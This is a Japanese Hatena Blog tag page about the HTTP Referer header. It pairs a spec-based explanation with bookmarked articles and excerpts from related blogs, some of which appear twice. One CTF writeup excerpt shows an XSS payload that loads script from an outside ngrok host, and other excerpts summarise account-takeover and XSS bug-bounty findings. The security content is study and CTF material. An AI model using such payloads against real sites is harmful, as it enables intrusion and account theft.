Hatena Blog Tags
はてなブログ トップ
referer
このタグでブログを書く
言葉の解説
ネットで話題
関連ブログ

referer

(ウェブ)
【りふぁらー】

いわゆる、リンク元情報。はてなダイアリーの「リンク元の表示」機能はRefererを利用して実装されている。
HTMLのハイパーリンクによってクライアントがWebサーバにHTTP要求を送るとき、一緒にWebサーバに渡される。

Referer[原文ママ] リクエストヘッダフィールド ("referrer" であるはずなのに綴りは間違っているが) は、サーバの利益のために、 Request-URI が得られたリソースのアドレス (URI) をクライアントに示させる。 Referer リクエストヘッダは、サーバが興味やログの取得、キャッシュの活用等のために、そのリソースへの逆リンクのリストを作成できるようにする。 また、メンテナンスのために、既に使用していない{obsolete} リンクやミスタイプのリンクを追跡できるようにもする。 もし Request-URI が、例えばユーザのキーボードからの入力など、それ自身の URI を持たないソースから得られた場合は、Referer フィールドを送ってはならない。 

 Referer        = "Referer" ":" ( absoluteURI | relativeURI )

例を示す。 

 Referer: http://www.w3.org/hypertext/DataSources/Overview.html

もしこのフィールド値が相対 URI ならば、 Request-URI からの相対的なものと解釈すべきである。 URI にはフラグメントを含めてはならない。 セキュリティ上の考察については、section 15.1.3 参照。

このタグの解説についてこの解説文は、すでに終了したサービス「はてなキーワード」内で有志のユーザーが作成・編集した内容に基づいています。その正確性や網羅性をはてなが保証するものではありません。問題のある記述を発見した場合には、お問い合わせフォームよりご連絡ください。
paiza times•4年前

Chrome85でWebサイトの流入元がとれない問題と対応方法

(English article is here) こんにちは、吉岡([twitter:@yoshiokatsuneo])です。 Chrome最新版(Chrome 85)で、徐々にWebサイトへの正確な流入元URL(URLのパス名)が取得できなくなってきています。 例えば、はてなブログからの流入では、どの記事から流入したかがわからず、流入元の調査・分析などのマーケティングへの影響が大きいと思われます。今回はまだWeb上での情報が限られているようなので、ここでは状況と対応方法について紹介したいと思います。 発端 「paiza」には毎日いろいろなサイトからのアクセスがあります。そんななか、先日ある…

#chrome#referer#TIPS

ネットで話題

もっと見る
130ブックマークreferer is not ITmedia画像が表示されない場合www.itmedia.co.jp
109ブックマークXMLHttpRequestでRefererをセットする - FAXJavaScript 追記Firefox 3.0で確認したところエラーになった。 Firefox 2.0.0.13で確認しました。 var url = 'http://localhost:8080/index.html'; var referrer = 'http://www.hatena.ne.jp/'; var req = new XMLHttpRequest(); req.open('GET', url, true); req.onreadystatechange = function(){ // 1: 読み込み中 if...d.hatena.ne.jp
67ブックマークGoogleのHTTPS化で検索ワードのRefererが取れなくなる | 水無月ばけらのえび日記Clients SHOULD NOT include a Referer header field in a (non-secure) HTTP request if the referring page was transferred with a secure protocol. 以上、RFC2616 15.1.3 Encoding Sensitive Information in URI's より HTTPSのページからはRefererは送られないようにするべき (SHOULD NOT) と書かれています。ほと...bakera.jp
47ブックマークPHPでスパムなリファラを簡単ブロックできる「stop-spam-referer-php-script」:phpspot開発日誌PHPでスパムなリファラを簡単ブロックできる「stop-spam-referer-php-script」 2010年01月22日- stop-spam-referer-php-script - Project Hosting on Google Code PHPでスパムなリファラを簡単ブロックできる「stop-spam-referer-php-script」。 配列形式のスパムデータベースが同梱されており、海外経由のリファラで送...phpspot.org
44ブックマーク.htaccessで参照元（Referer）によるアクセス制限する方法.htaccess活用法（３） .htaccess（拡張子がhtaccessということで、ドットが必要です。ファイル名がないので最初戸惑いますが、こういうものだと思ってください。）が利用可能だと、 アクセス制限（Basic認証）が可能。 特定のホスト（IPアドレス。プロバイダ）からのアクセスを制限することが可能 参照元（Referer）に...www.shtml.jp
30ブックマークAdaptive Referer Remover 0.2.2 - stanaka's blogblog.stanaka.org
26ブックマークReferer偽装 - 枕を欹てて聴くconstellation.hatenablog.com
24ブックマークreferer で伝えて楽しく日記 - ぼくはまちちゃん！blog.hamachiya.jp
22ブックマークGoogleのHTTPS版でRefererがoriginだけになりそう (meta referrer="origin") - fragmentarymyakura.hatenablog.com

関連ブログ

はまやんはまやんはまやん•10日前

b01lers CTF 2024 Writeups

web/b01ler-ad web/3-city-elves-writeups web/imagehost web/pwnhub web/b01lers_casino web/b01ler-ad const content = req.body.content.replace("'", '').replace('"', '').replace("`", ''); '"`が使えない状態でXSSさせる問題。 それ以外の制約は特にないので、以下のようにscriptタグのソースで外部からjsを持ってきて使えばいい。 <script src=//c748-194-180-179-191.ngrok-fr…

アルパカノフン•10日前

【Apache】httpd.conf

ファイルの場所 仕組み ServerRoot ServerName ServerAdmin Listen DocumentRoot Directory Require Options AllowOverride DirectoryIndex Alias Redirect Define SetEnvIf ファイルの場所 C:\Apache24\conf 仕組み ServerRoot Apache がインストールされているディレクトリを設定 Define SRVROOT "c:/Apache24" ServerRoot "${SRVROOT}" ServerName Apache が自分自分自身の…

The light of hope to the other side of the tunnel - Kotsu Kotsu To -•23日前

Account Takeover Through Password Reset Functionality から学ぶ

ソース： medium.com 脆弱性：アカウントの乗っ取り（ATO） 訳： 通常、ターゲットに近づくとき、私は常に「通常のユーザー」であるかのようにサイトをナビゲートして。これにより、ユーザーが電子メールを提供することでパスワードをリセットできる興味深いエンドポイントを見つけることができて。 これはすぐに私の目に留まったので、Burp インターセプトをオンにして、登録済みの電子メールの 1 つをこのフィールドに入力して。 これに対する POST 応答は次のようになり。 POST /api/Membership/ResetPassword HTTP/2Host: apisub.target.c…

The light of hope to the other side of the tunnel - Kotsu Kotsu To -•23日前

Account Takeover Through Password Reset Functionality から学ぶ

ソース： medium.com 脆弱性：アカウントの乗っ取り（ATO） 訳： 通常、ターゲットに近づくとき、私は常に「通常のユーザー」であるかのようにサイトをナビゲートして。これにより、ユーザーが電子メールを提供することでパスワードをリセットできる興味深いエンドポイントを見つけることができて。 これはすぐに私の目に留まったので、Burp インターセプトをオンにして、登録済みの電子メールの 1 つをこのフィールドに入力して。 これに対する POST 応答は次のようになり。 POST /api/Membership/ResetPassword HTTP/2Host: apisub.target.c…

apricotbrain’s blog•23日前

日本の4月は物事が動き始める時期です

◎プロモーションが含まれます 必ず運勢の良くなるメルマガセミナーはこちらへ 人生を豊かにする遠隔ヒーラー アプリコットブレイン さとうきよたかです。 お寄りいただきありがとうございます。 辛い毎日が 「豊かな人生」と感じる毎日へと変わる スピリチュアル・ライフを綴っています きょうは、4月1日ですね。 1日参りということで神社にてお参りをしました。 お参りすると柔らかなエネルギーが体を包みます。 脇に回って神社をヒーリングすると こちらの方が元気をいただきました。ありがたいことです。 神社やお寺でのお賽銭や、 簡単なごみ拾いは清掃などすすめられますが 気持ちを出した分、本当に反応してくれますね…

apricotbrain’s blog•24日前

日本の4月は物事が動き始める時期です

◎プロモーションが含まれます 必ず運勢の良くなるメルマガセミナーはこちらへ 人生を豊かにする遠隔ヒーラー アプリコットブレイン さとうきよたかです。 お寄りいただきありがとうございます。 辛い毎日が 「豊かな人生」と感じる毎日へと変わる スピリチュアル・ライフを綴っています きょうは、4月1日ですね。 1日参りということで神社にてお参りをしました。 お参りすると柔らかなエネルギーが体を包みます。 脇に回って神社をヒーリングすると こちらの方が元気をいただきました。ありがたいことです。 神社やお寺でのお賽銭や、 簡単なごみ拾いは清掃などすすめられますが 気持ちを出した分、本当に反応してくれますね…

Uzabase for Engineers•1ヶ月前

なぜCDKを使う「べき」なのだろう?

はじめに 皆様こんにちは、ソーシャル経済メディア「NewsPicks」(Media Infrastructureチーム)エンジニアの北見です。 現在、私は弊社サービスの一部のインフラ刷新を行なっている最中で、ここ数ヶ月 AWS CDKを触っておりました。 前職では Infrastructure as Code として Terraform を使ったことがあるのですが、少なくともAWS を使うという条件においては CDKを使うべき という結論に辿り着きました。 今回はそのように考えるようになった理由について説明していこうと思います。 前提 Terraform はパブリッククラウドにおける Infr…

ちゃんぷるー•1ヶ月前

GLAMOROUS LUSH セルフまつげパーマ レビュー

おっはもーにん☀ 前回に引き続き、今度は 『GLAMOROUS LUSHfall in the volume easy kit Ⅱ』 を購入してみました！https://m.qoo10.jp/su/1413187977/Q148039320 前回の記事 ▽ ba7fish.hatenablog.com 前回購入していた”eye2in”のまつげパーマセットが余っていたので、今回はまつげパーマ液のみを購入しました。 https://m.qoo10.jp/su/1413081901/Q148039320?inflow_referer=http%3A%2F%2Fqoo10jp 放置時間が長いと「煩わし…

よーでんのブログ•1ヶ月前

LINE CTF 2024 Writeups

関わった問題のみ書いていきます jalyboy-baby (web: 100 pt / 428 solves) graphql-101 (web: 176 pt / 28 solves) hhhhhhhref (web: 257 pt / 12 solves) jalyboy-baby (web: 100 pt / 428 solves) It's almost spring. I like spring, but I don't like hay fever. 問題ファイルが配布されていたが、読んでいない。 jalyboy-baby - TOP 「login as guest」と「login…

The light of hope to the other side of the tunnel - Kotsu Kotsu To -•1ヶ月前

How I Escalated Self-Xss to Stored-Xss から学ぶ

ソース： medium.com 脆弱性：XSS 訳： 数か月前、VDP プログラムを探していたところ、興味深い脆弱性を見つけたので、それについて書きたいと思いました。 と呼びます ターゲットをredacted.com -_- 目標を見つける 列挙にしばらく時間を費やした後、興味深いサブドメインを見つけ。これは、サイトがプライベート ユーザーに属しているようで。 サイトを開くと、別のページにリダイレクトされ、アクセスするには招待が必要であることが表示され。 このサブドメインを local.redacted.com と名付け。 この場合、最初に思い浮かぶのはファジングです。でも結果が出ないenum…

The light of hope to the other side of the tunnel - Kotsu Kotsu To -•2ヶ月前

Magic Links as Gateways to Account Takeovers から学ぶ

ソース： sl4x0.medium.com 脆弱性：ATO, CORS 訳： サインアップから始める サインアップ プロセスでは、 存在しない 電子メール アドレスでサインアップする 電子メール アドレスでサインアップする方法と、既存の 方法の 2 つの登録方法があります。 最初の種類のサインアップは通常のサインアップです。 メールアドレスを入力して送信をクリックするだけです。 あなたが電子メール アドレスの所有者であることを確認するため、確認電子メールが送信されます。 メールアドレスを確認したら、情報（名前、会社名など）を入力し、アカウント作成プロセスを完了します。 既存のメールアドレスでサ…

はまやんはまやんはまやん•2ヶ月前

防衛省サイバーコンテスト 2024 Writeup

2連覇！ 前回の解説 [Crypto] Information of Certificate [Crypto] Missing IV [Crypto] Short RSA Public Key [Crypto] Cryptographically Insecure PRNG [Forensics] NTFSシリーズ [Forensics] NTFS Data Hide [Forensics] NTFS File Delete [Forensics] NTFS File Rename [Forensics] メモリシリーズ [Forensics] HiddEN Variable [Forensi…

st98 の日記帳 - コピー•2ヶ月前

防衛省サイバーコンテスト 2024 writeup

2/25に12時間というちょうどよい競技時間で開催された。21時終了だったけれども、17時45分ごろに最速で全完して2位。途中でヒントを開くために2ポイントを使ってしまい*1*2*3、ノーヒント勢に抜かれてしまわないか最後までヒヤヒヤしつつスコアボードを見守っていた。そして終了直前の20時45分ごろに抜かれてしまい、後悔の念に駆られる。 ただ、第1回は1位、第2回は3位、第3回は6位*4と来ていい加減にリベンジを果たしたかったので嬉しい。前回は飛行機の中からの参加であったためまったく余裕がなく、ろくにメモも取っていなかったのでwriteupを書けなかったけれども、今回はメモを取りつつやっていた…

KAYAC engineers' blog•2ヶ月前

YAPC::Hirosima 2024でコードゴルフコンテストを開催しました 〜解説編〜 #yapcjapan

こんにちは、技術部の谷脇です。 去る2月10日に行われたYAPC::Hiroshima2024ですが、みなさまはいかがだったでしょうか。私は参加して大満足であり、運営の方々に大感謝させていただきます。 さて、カヤックではゴールドスポンサーと椅子スポンサーをしていたというのは開催直前に出した記事で述べさせていただきました。 techblog.kayac.com この記事では伏せられていた、椅子スポンサーのPerlbatrossですが、この記事ではPerlbatrossの内容紹介と問題解説をしようと思います。 Perlbatrossとは YAPC::Hiroshima2024の開催期間中にコードゴ…